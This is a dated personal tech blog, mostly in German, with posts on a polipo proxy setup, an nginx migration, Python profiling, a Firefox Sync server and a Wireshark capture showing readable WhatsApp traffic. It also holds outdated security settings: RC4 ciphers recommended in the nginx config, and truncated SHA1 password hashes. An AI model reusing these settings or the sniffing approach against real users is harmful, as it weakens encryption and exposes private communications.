polipo

Warum polipo? Primär, weil es für Einzelbenutzer oder wenige Clients konzipiert ist. Wer die hunderttausend Optionen im squid kennt, kann sicherlich auch den nutzen. Polipo gibt’s im homebrew-Repository, bringt allerdings kein launchd-Skript mit (gibt’s unten). Da ich meinem MacBook Pro letztens ein RAM-Upgrade gegeben habe, darf polipo maximal ein halbes Gigabyte RAM nutzen – und das empfehle ich jedem. Denn polipo ist etwas buggy. Es hat zwar einen Maintainer, aber die Commits halten sich in Grenzen. Wenn ich über ~~vkontakte.ru~~ vk.com einige Songs im HTML5 Player streame, dann gibt es nach neun oder zehn ein

Short on chunk memory – attempting to punch holes in the middle of objects.

und das bedeutet nichts gutes, denn es wird mitten im Streaming der Content gelöscht und die Verbindung abgebrochen, da es an RAM mangelt. YouTube betrifft es ebenso. Aber nichtsdestotrotz sollte man polipo nutzen, denn neben 40 MB/s Downstream (Firefox’ XML Parser ist wirklich langsam ;-) bringt polipo auch nützliche Privacy-Optionen mit:

# censoredHeaders = from, accept-language
        censorReferer = maybe
        censoredHeaders = accept-language, from

und kann auch direkt einen eigenen DNS-Server wie dnsmasq nutzen (meine Hoffnung war ja, dass polipo’s proxyOffline = true offline “Browsen” bringt, aber die DNS-Queries werden dennoch ein Fehler: Server nicht gefunden bringen).

~/Library/LaunchAgents/org.posativ.polipo.plist

<?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
        <plist version="1.0">
        <dict>
            <key>Label</key>
            <string>org.posativ.polipo</string>
            <key>ProgramArguments</key>
            <array>
                <string>/usr/local/bin/polipo</string>
                <string>-c</string>
                <string>/usr/local/etc/polipo/config</string>
            </array>
            <key>RunAtLoad</key>
            <true/>
        </dict>
        </plist>

Diese plist generiert mir Lingon für /usr/local/bin/polipo -c /usr/local/etc/polipo/config und sollte in den genannten Ort kopiert werden, sodass polipo beim Anmelden gestartet wird. Mit launchctl load ~/Library/LaunchAgents/org.posativ.polipo.plist wird der Daemon gestartet.

Adblocking mit adzapper

Privoxy ist für gewöhnlich das Tool der Wahl wenn es um Werbeblocken auf Proxy-Seite geht, aber da es viel CPU-Leistung verbrät, habe ich mich nach Alternativen umgeschaut. Primär Alternativen, die mit den Easylisten von Adblock kompatibel sind. polipo hat zwar auch ein regex-kompatibles polipo.forbidden-file, aber die verfügbaren adblock2polipo.(py|rb) produzieren inkompatible reguläre Ausdrücke. Ob der Fehler bei der Liste oder polipo liegt, weiß ich nicht. Allerdings bringt polipo ein redirector Feature mit. Das zwischen ein Perl-Programm wie z.B. adzapper HTTP (ohne S) und filtert anhand einiger regulären Ausdrücke:

wget http://adzapper.sourceforge.net/scripts/squid_redirect -O /usr/local/bin/adzapper
        echo "redirector = /usr/local/bin/adzapper" >> /usr/local/etc/polipo/config
        
        launchctl unload ~/Library/LaunchAgents/org.posativ.polipo.plist
        launchctl load ~/Library/LaunchAgents/org.posativ.polipo.plist

Alternativ ginge auch eine forward /-Direktive zu beispielsweise bfilter mit aktivem Adblock-Support.

Linkschleuder #14

2012-01-20T10:43:00Z

Cryptographic Key Length Recommendation – im Seminar aufgeschnappt; empfohlene Schlüssellängen einiger Behörden.
weaveclient-chromium-continued – nicht getestet, aber wäre cool, wenn das funktioniert.
puppet – automatisiertes Einrichten eines *nix-Systems mit einer Ruby-DSL.
„Puppet, an automated administrative engine for your *nix systems, performs administrative tasks (such as adding users, installing packages, and updating server configurations) based on a centralized specification.“
start-stop-daemon – ein Debian/Ubuntu-Tool, um das Schreiben von eigenen Dämonen deutlich zu erleichten (Beispiel).
Watch – A tiny C program used to periodically execute a command. (via The Changelog)
dcrypt.it – DLC Entschlüsselung mit ein paar mehr Input-Methoden als mein Angebot.
Polipo – a small and fast caching web proxy. Sowas wie squid, aber eher für Single-User/Home-Betrieb gedacht. Werd’ ich mir mal näher anschauen.
ettercap – eine Suite für Man-in-the-Middle Angriffe im LAN.

WhatsApp Privacy Policy: Verschlüsselung im Transportmedium.

2012-01-15T23:43:00Z

WhatsApp kennt sicherlich jeder Smartphone-Nutzer. Hat über zwei Millionen aktive Nutzer zu jeder Stunde und ist für jede mobile Plattform verfügbar, leider nur nicht für den Desktop. Das lässt sich ja vielleicht ändern, dachte ich mir und schmiss WireShark an:

WA............Android-2.7.431.........~.......Z*.....8..........~._......Xbm9uY2
        U9IjE4ODAwNzM1MDU3OS IscW9wPSJhdXRoIixjaGFyc2V0PXV0Zi04LGFsZ29yaXRobT1tZDUtc2Vzc
        w==.........cmVhbG09InMud2hhdHNhcHAubmV0IixyZXNwb25zZT0yZTY4M2U0YjlhNTA2ODdhMmN
        mODA3NDQ1MTMxODM3Yyxub25jZT0iMTg4MDA3MzUwNTc5IixkaWdlc3QtdXJpP SJ4bXBwL3Mud2hhdH
        NhcHAubmV0Iixjbm9uY2U9IjFtOWRzdGM2NzY1ZHQiLHFvcD1hdXRoLHVzZXJuYW1lPSI0OTE2MzYzMT
        A2MTMiLG5jPTAwMDAwMDAx.#.......Rj#.13050253130. 1620558113....t8..+......t..a..
        Ich....HC..:....{.M....Ua$....HC..2.:..........,..H8...491896312624.C../..../...
        404......J......H8.C..2.........s<C..APA91bHEmfHjKPpBwu3MJLCOtK4hFMwe0ZWHdXimFDr1
        pxIa18rznmbZ6FLB-7pFMVwX0GJiVPcUWCaAvnwTR0O_LVfEENMr--GtpzSy2FbWtq1IKSOG9_Z0N6Kz
        LlIit9JaKaui47VY....t......491521283131..!..HC..3.:....491521283131.....{.L.)..H8
        ...491721883139.C..3......{.L...16990....t.....4914682512635.."..HC..4.:...
        4914682512635.....{.L.+..H8..4915152523662.C..4......{.L...128494....t......t8..
        .491896312624.

Sieht ziemlich unleserlich aus. Die ersten zwei Bytes beginnen wohl das interne XMPP-Protokoll, WhatsApp-Version und dann… äh ja. Dann sind da meine Telefonnummer, Name, Ziel-Nummer (+ deren Zweitnummer und Geburtsdatum) der Gesprächspartnerin.

Version: Android-2.7.431
meine Nummer: 491896312624
Zielnummer: 4914682512635
Zweit-Nummer: 4915152523662
Geburtsdatum: 16990

Wohlgemerkt ist das ein Dump, wenn ich die App einfach öffne. Wenn Text kommt, dann ist da etwas weniger (Nachricht: Ich doch nicht xD).

.F..]....4914682512635...C..316008602-1......O..........Ich doch nicht xD.@..]8
        ...4914682512635.C..316008602-1........O....C..316008602-1...

Ich war etwas erstaunt. WhatsApp verschlüsselt – aber nur das eigene Protokoll, was mit den Nutzerdaten passiert, ist ihnen egal. Ich kann mir keine Erklärung dafür geben. Rechenleistung geht ja eh schon drauf, indem das Protokoll verschlüsselt wird, warum also nicht gleich noch den Rest verschlüsseln? Hauptsache keiner entwickelt einen Desktop-Clienten außerhalb ihres Einflussbereiches!11

Im öffentlichen Hotspot sind die Daten für jedermann lesbar, für verschlüsseltes WLAN kann der Beitreber ngrep-en und dass GMS/UMTS nicht mehr sicher ist, weiß man spätestens nach dem Skandal in Dresden. Das Problem ist auch nicht unbekannt, nur hat es noch keiner genug reverse engineered.

PS: alle personenbezogenen Informationen sind anonymisiert.

Linkschleuder #13

2012-01-12T13:27:00Z

Tapir – eine Alternative zu Google Custom Search, sprich eine externe Suche für statische Seiten mit Atom-Feed-Input.
Read the Docs – ein Sphinx-Dokumentationen-Hoster, der auch auf eigene Domains serviert. Hier geht’s los.
Einführung in Sphinx – nicht offiziell, aber sehr hilfreich für den ersten Schritt.
Envoy: Python Subprocesses for Humans. – und das hat Python bitter nötig!
Unfortunate Python – auch Python ist nicht perfekt in seiner Implementierung.
Why Python Pickle is insecure and Exploiting Pickle
rsslounge – web-basierter RSS Aggregator mit PHP und MySQL. Ganz nett, aber noch etwas bugbelastet. Drei meiner 40 Feeds (OPML Import) konnte er nicht laden und ist nun nicht mehr nutzbar. Google Code
Adminer – Datenbank-Verwaltung (MySQL, SQLite, etc.) in einer einzigen PHP-Datei. Angenehm im Vergleich zu mysql-client.
Coco – is a CoffeeScript dialect that aims to be more radical and practical.

Linkschleuder #12

2012-01-09T14:56:00Z

Es wird leider auch nicht weniger:

Nokias Google Maps Fork – ohne Flash, sondern in WebGL. Sehr performant und echt beeindruckende Qualität.
Wireless Android Management – ein sehr hübsches Webinterface auf Knopfdruck. So lassen sich bsw. SMS im Browser schreiben.
Tor bridges in the Amazon cloud – vorgefertigte Tor-Images für Amazons EC2, ~~ab 3$/Monat für gut 15 GB Traffic~~ ersten 15 GB Traffic sind kostenfrei, bei maximal 40 GiB kann das bis zu 3$/Monat kosten.
Pandoc – a universal document converter.
Lita – SQLite Administration Tool (mittels Adobe Air) ohne Error-Handling. Aber hübsch.
SQL Tutorial using SQLite und Syntax-Diagramme haben mir bei der Entwicklung von weave-minimal sehr geholfen!
Sublime Text 2 – auch wenn ich’s schon erwähnt hatte. Der Texteditor ist derzeit das nonplusultra. Es macht so viel Spaß damit zu arbeiten.
GitHub Issue – ein CLI Programm für GitHub’s Issues (wer hätte das gedacht) in Node.js.

nginx

2012-01-07T22:03:00Z

Seit heute rennt das Blog unter nginx. Der Grund ist einfach: lighttpd ist behindert zu konfigurieren, hat keine aktuellen/coolen Features und ist zudem noch langsamer als nginx. Ich hoffte seit knapp einem Jahr, dass sich in der Entwicklung was tut, aber außer einer Beta-Version mit integriertem lua-Support (um überhaupt ein if-else statt if-else-if konfigurieren zu können) und zahlreichen Won’t fixes für 1.4.x hat sich leider rein gar nichts getan.

Warum nginx? Ja, das weiß ich auch nicht, aber die Alternativen zu non-Apache mit geringem Memory-Footprint, vielen Features und opensource sehen schlecht aus. thttpd hat kein mod_proxy, Cherokee bringt gleich ein Web-GUI zur Administration mit und LiteSpeed Web Server ist nicht quell-offen. Also, was sind die Features von nginx?

schnell und leichtgewichtig
logische Konfiguration (was ich schon für behinderte Logik-Krämpfe mit lighttpd hatte…)
mod_proxy, mod_fastcgi, expires, PCRE

Moving from lighttpd to nginx

Die Umstellung von lighttpd nach nginx ist nicht ganz ohne. Prinzipiell ist alles anders und nginx hat keine Unterstützung für CGI und rewrite-Regeln auf Query-Parametern. Außerdem spawnt nginx nicht automatisch einen PHP-Prozess für FastCGI und erlaubt keine POST-Requests auf statische Seiten – aber das lässt sich umgehen.

1. Präambel - /etc/nginx/nginx.conf

user www-data;
        worker_processes  2;
        
        error_log  /var/log/nginx/error.log;
        pid        /var/run/nginx.pid;
        
        events { worker_connections  2048; }
        
        http {
            include       /etc/nginx/mime.types;
        
            #access_log /var/log/nginx/access.log;
        
            # cbc-mode ciphers might be vulnerable (BEAST)
            ssl_ciphers RC4:HIGH:!aNULL:!MD5;
            ssl_prefer_server_ciphers on;
        
            sendfile        on;
            keepalive_timeout  65;
            tcp_nodelay        on;
        
            gzip  on;
            gzip_disable "MSIE [1-6]\.(?!.*SV1)";
            index index.php index.htm index.html;
        
            include /etc/nginx/conf.d/*.conf;

2. vhosts - /etc/nginx/conf.d/posativ.org.conf

server {
            listen       80;
            server_name  posativ.org;
            root         /home/www/posativ.org;
        
            location ^~ /blog {
                include conf.d/pyblosxom.redirect;
            }
        
            location ~ ^/(redmine|git)/ {
                rewrite ^/(.*)$ https://posativ.org/$1 redirect;
            }
        }

Selbsterklärend. Nicht mehr und nicht weniger will ich konfigurieren. Statt im lighty irgendwelche obskuren Redirects auf Sockets != 443 zu kreieren, gibt es hier ganz klar das Konzept „ich lausche auf diesen Ports mit folgenden Einstellungen”.

3. SSL

In der Präambel lässt sich zudem noch die verwendete Cipher wählen und so ein Angriff mittels BEAST verhindern.

server {
            listen       443;
            server_name  posativ.org;
            root         /home/www/posativ.org;
        
            ssl             on;
            ssl_certificate certs/posativ.org.crt;
            ssl_certificate_key certs/posativ.org.key;
        
            location ^~ /redmine {
                proxy_pass http://127.0.0.1:3001;
            }
        
            location ^~ /git {
                proxy_pass http://127.0.0.1:7654;
            }
        
            # ...
        }

5. rewrite rules

Das war zunächst das größte Problem. Ich pflege Rückwärtskompatibilität zwischen meinen (inzwischen vier) Blogs mit unterschiedlicher Software und Permalinks. Einfach sind URI -> URI rewrites-Rules:

    # lighttpd
            url.redirect += ("/blog/?$" => "https://blog.posativ.org/", ...)

    # nginx
            rewrite "^/blog/?$" "http://blog.posativ.org/" permanent;
            ...

Mit perl -pe "s/\"(.+)\" => \"(.+)\",/rewrite \"\^\1\" \"\2\" permanent;/g" hatte ich das grob von lighttpd auf nginx übertragen. Problem: nginx kann kein rewrite auf die Request-Parameter (zurecht aber auch). Das sollte nicht nur mich mit meinen anfänglichen /?p=1dcdd17 stören, auch diverse andere Blogs haben dieses URL-Schema. Warum das nicht direkt von den rewrite-Regeln unterstützt wird, ist klar: die Query-Parameterreihenfolge ist variabel. Aber es ist nginx und da geht alles (wenn auch mit erhöhtem Rechenaufwand):

location = / {
            # das `?` am Ende leitet die GET-Request Paramter nicht weiter
            if ($arg_p = 1dcdd17) {
                rewrite ^ http://blog.posativ.org/2011/weitere-html-abstraktion-in-python/? permanent;
                # ...
            }
        }

6. weitere Eigenheiten

nginx erlaubt kein POST/PUT auf statisches HTML, denn sonst wäre es ja CGI (was aber auch nicht geht, dazu gleich mehr). Aber auch dafür gibt es die merkwürdigsten Workarounds (POST auf statisches HTML wirft 405):
```
error_page 405 = @405;
        location       = @405 {
            root    /home/www/blog.posativ.org;
        }
        
```
CGI wird auch nicht unterstützt, denn es ist langsam und erfordert viel Verwaltungs-Logik. Das macht bsw. lighttpd speicherhungriger als Apache (!), wenn Google mal ein CGI-hosted Mercurial-Webinterface crawlt. Statt CGI sollte FastCGI oder Proxy-Magie genutzt werden. Für PHP spawnt nginx keinen Prozess, der muss vorher auch angelegt werden. Für Debian gibt es dafür ein init.d-Skript und nach einem invoke.rc-d start php-fcgi lauscht ein PHP-Prozess auf Port 9000.

Rückblick

lighttpd war zwei Jahre mein treuer Begleiter im Kampf gegen Apaches behinderte XML-like Konfiguration mit kleinem Speicherverbrauch, aber die Konfiguration ist inzwischen mehr als willkürlich. Schon eine Umordnung von Statements, die logisch gleichwertig sind, kann das Problem lösen oder erst erzeugen.

Die nginx Konfiguration ist weitaus intuitiver, besitzt mehr Funktionialität und trotzdem ist der Server schlanker, modularer und leistungsfähiger als lighttpd.

KTHXBYE lighttpd.

Linkschleuder #11

2012-01-02T19:11:00Z

Diesmal stark apfel-lastig; zwei zu Twitter, Rest zu OS X.

twidge – full commandline twitter client (in Haskell geschrieben)
Fork A Twitter Client – Twitter komplett im Browser (wie twitter.com), jedoch in schlank.
OSX GCC Installer – GCC-related Tools in XCode. Erspart nächstes mal vielleicht den 4,7 GiB Download.
VLC GUI rewrite – für OS X, ist leider eingeschlafen, weil es sehr wenige OS X Entwickler gibt.
Consultant’s Canary – Diff zwischen OS X Erst-Installation und dem Müll, der jetzt drauf ist. Äußerst praktisch.
Vom OS X zum SheevaPlug – inklusive Kommentar von einem Projekt mit quelloffenen Treibern.
Musorg – OS X MP3 Tag Editor (GPLv2), nicht wirklich fertig, dafür immerhin was OS X-natives.
YouTube Player Client for OS X – ressourcensparend YouTube gucken, noch kostenlos.
Musique – ehemals MiniTunes, verfügbar für Windows, Linux und Mac OS X, GPL und ohne AudioScrobbler-Support!
Ecoute 3 – Standalone player based on your iTunes library.

Profiling Memory and CPU Time of Python Programs on OS X

2011-12-28T22:10:00Z

As a result of my last performance improvements to acrylamid I was not able anymore to measure the memory used via Activity Monitor. I can measure cpu time in many different ways using time or python’s neat -m cProfile -s cumulative argument in front of my real program call, but I don’t know any way to measure memory of fast ending applications.

Memory Profiling

The first fact I found is that python has no capabilities of profiling and BSD’s version of time had no memory statistics support (seems, linux version can do this). But there’s an App… erm tool for that: valgrind. Using it with OS X’ default python produces a lot of output and will slow down code execution, therefore you have to call valgrind with a specific supression file using Massif: a heap profiler (or re-compile --without-pymalloc):

$> valgrind --tool=massif --suppressions=Misc/valgrind-python.supp \
           python ../acrylamid/bin/acrylamid gen
        $> ms_print massif.out.1928 > out.txt

The latter produces a heap profile written to out.txt. KDE/Linux seems to have a visualizer, KCacheGrind, but OS X don’t. But there might be an application which claims to run on OS X as well: Massif Visualizer.

--------------------------------------------------------------------------------
        Command:            python ../acrylamid/bin/acrylamid gen
        Massif arguments:   (none)
        ms_print arguments: massif.out.1928
        --------------------------------------------------------------------------------
        
            MB
        38.53^                                                          :             
             |                                                        # :             
             |                                                       @#::             
             |                              @   @               ::@@@@#::         ::@:
             |                              @:  @ :            :::@@@@#::::::@::::::@:
             |                       @@:::::@:::@::@@::@::@@::::::@@@@#::::::@::::::@:
             |           ::::::@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |      @   :: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |      @:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |   :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |   :::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |  @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |  @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             |  @:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
             | :@:::@:@::: :: :@:::::@ :: ::@:::@::@ : @::@ :: :::@@@@#::::::@::::::@:
           0 +----------------------------------------------------------------------->Gi
             0                                                                   40.63
        
        Number of snapshots: 86
         Detailed snapshots: [2, 6, 8, 16, 23, 29, 33, 36, 39, 42, 48, 49, 50, 51, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63 (peak), 73, 83]

CPU Time

To complete this overview article, here are the parameters to measure CPU usage from an earlier version of acrylamid (doing nothing):

$> acrylamid --version
        0.1.11-dev
        $> python -m cProfile -s cumulative ../bin/acrylamid gen | less
              392661 function calls (382947 primitive calls) in 0.684 seconds
        
        Ordered by: cumulative time
        
        ncalls  tottime  percall  cumtime  percall filename:lineno(function)
             1    0.000    0.000    0.685    0.685 acrylamid:7(<module>)
             1    0.000    0.000    0.648    0.648 __init__.py:44(__init__)
             1    0.001    0.001    0.647    0.647 __init__.py:177(run)
             1    0.000    0.000    0.559    0.559 __init__.py:135(initialize)
             1    0.000    0.000    0.514    0.514 __init__.py:35(initialize)
             8    0.000    0.000    0.277    0.035 __init__.py:19(index_filters)
             1    0.000    0.000    0.270    0.270 hyphenation.py:191(__init__)
             1    0.000    0.000    0.270    0.270 hyphenation.py:150(build)
             1    0.010    0.010    0.269    0.269 hyphenation.py:34(__init__)
         14263    0.130    0.000    0.257    0.000 hyphenation.py:45(_insert_pattern)
         25/23    0.004    0.000    0.244    0.011 {__import__}
         28848    0.031    0.000    0.201    0.000 re.py:228(_compile)
             1    0.003    0.003    0.191    0.191 rst.py:7(<module>)
           248    0.000    0.000    0.161    0.001 re.py:188(compile)
           174    0.001    0.000    0.161    0.001 sre_compile.py:495(compile)
             5    0.001    0.000    0.156    0.031 __init__.py:10(<module>)
             1    0.002    0.002    0.096    0.096 __init__.py:68(<module>)
             1    0.003    0.003    0.090    0.090 states.py:101(<module>)
           174    0.000    0.000    0.085    0.000 sre_compile.py:480(_code)

With some optimization acrylamid 0.2.1 is now about 4 times faster (685ms versus 140ms), just by lazy evaluate hyphenation patterns and docutils import. You can also pass ncalls, tottime, percall and so on instead of cumtime, see python’s profile for all sort keys.

$> acrylamid --version
        0.2.1
        $> python -m cProfile -s cumulative ../bin/acrylamid gen | less
              81785 function calls (78036 primitive calls) in 0.140 seconds
        
        Ordered by: cumulative time
        
        ncalls  tottime  percall  cumtime  percall filename:lineno(function)
             1    0.000    0.000    0.141    0.141 acrylamid:7(<module>)
             1    0.000    0.000    0.103    0.103 __init__.py:45(__init__)
             1    0.000    0.000    0.101    0.101 __init__.py:197(run)
             1    0.000    0.000    0.098    0.098 __init__.py:143(initialize)
             1    0.000    0.000    0.051    0.051 __init__.py:36(initialize)
            17    0.003    0.000    0.051    0.003 {__import__}
             1    0.000    0.000    0.046    0.046 __init__.py:38(initialize)
             5    0.000    0.000    0.045    0.009 __init__.py:22(index_views)
             5    0.000    0.000    0.043    0.009 environment.py:763(from_string)
             5    0.000    0.000    0.043    0.009 environment.py:453(compile)
             1    0.003    0.003    0.038    0.038 __init__.py:20(<module>)
            73    0.000    0.000    0.035    0.000 re.py:188(compile)
            73    0.001    0.000    0.035    0.000 re.py:228(_compile)
            67    0.000    0.000    0.034    0.001 sre_compile.py:495(compile)
             1    0.001    0.001    0.023    0.023 __init__.py:28(<module>)
             5    0.000    0.000    0.023    0.005 environment.py:396(_parse)
             1    0.000    0.000    0.022    0.022 md.py:7(<module>)
             1    0.001    0.001    0.021    0.021 __init__.py:31(<module>)
             1    0.002    0.002    0.021    0.021 hyphenation.py:4(<module>)

TextMate

2011-12-18T18:02:00Z

Bevor ich so langsam zum Sublime Text Editor wechseln werde (es sei denn, Version 2 bringt es), noch einmal kurz meine Lieblings-Bundles, sprich Macros, Themes und Snippets.

Essential TextMate Shortcuts, Tips and Techniques
Solarized (light) Theme – the one and only one. Gibt nichts besseres.

Bundles

x86 Assembler – Intel86 Syntax Highlighting!1
lilypond
LaTeXExtension – mit $O[Ausrufezeichen]$ -> $\Omega$ und so
reStructuredText
SASS
Jinja2 Templating
Python PEP 8
Python Tools – ⌘+S mit Syntax Validierung

Installiert wird das alles nach ~/Library/Application Support/TextMate/.

weave-minimal – a Firefox Sync full-server fork

2011-12-18T17:35:00Z

The first time I tried to get a custom Firefox Sync server running, I used server-full and even though I know python (the server is written in python), the configuration was highly difficult. There’s no click & install. You have to choose between Redis, MySQL, PostgreSQL and Sqlite3. For most people, sqlite3 is quite fine. Sqlite and sync-server config files have summed up almost 80 LoC. And you still don’t know how to authenticate unless you have already a LDAP server running.

There are some alternatives: ffpyweave, django sync server and formerly weave-minimal too, written in PHP but not supported anymore. But I’ve forked the official server-full (well I completely rewrote) to a more easier installation without multiple backends but completely relying on a simple sqlite database.

Requirements

a web server with proxy or FastCGI/WSGI support
python runtime (>= 2.5)
shell access

Installation

$ easy_install -U werkzeug

$ wget https://github.com/posativ/weave-minimal/tarball/master -O weave-minimal.tar.gz
        $ tar xfz weave-minimal.tar.gz
        $ cd posativ-weave-minimal

Usage

Currently, Firefox does not you create a user account on your own server. I filed a bug in a week ago. Therefore you need to set up every account manually:

$ ./weave.py --register myname:mypassword
        [info] database for `myname` created at `.data/myname.91dfd9ddb4198aff`
        $ ./weave.py -p 8080

Please note that only alpha-numerical characters are allowed!

The last command launches weave.py on port 8080. You can now configure mod_proxy in your webserver of choice or you some mod_fastcgi magic. See README.md for an example configuration.

For the Firefox Sync Setup see in README.md, too.

Hints

using an SSL-encrypted server is recommended but not required
Firefox never transmits browser data unencrypted, just your username/password are sent base64-encoded over the air (HTTP Basic Authentication).
you can have multiple user per weave-minimal instance
the user password is stored SHA1-hashed (first 16 characters) into the database filename name.91dfd9ddb4198aff.
in case your web server sucks and does not send HTTP_X_SCRIPT_NAME, start weave.py with --prefix=/url/prefix.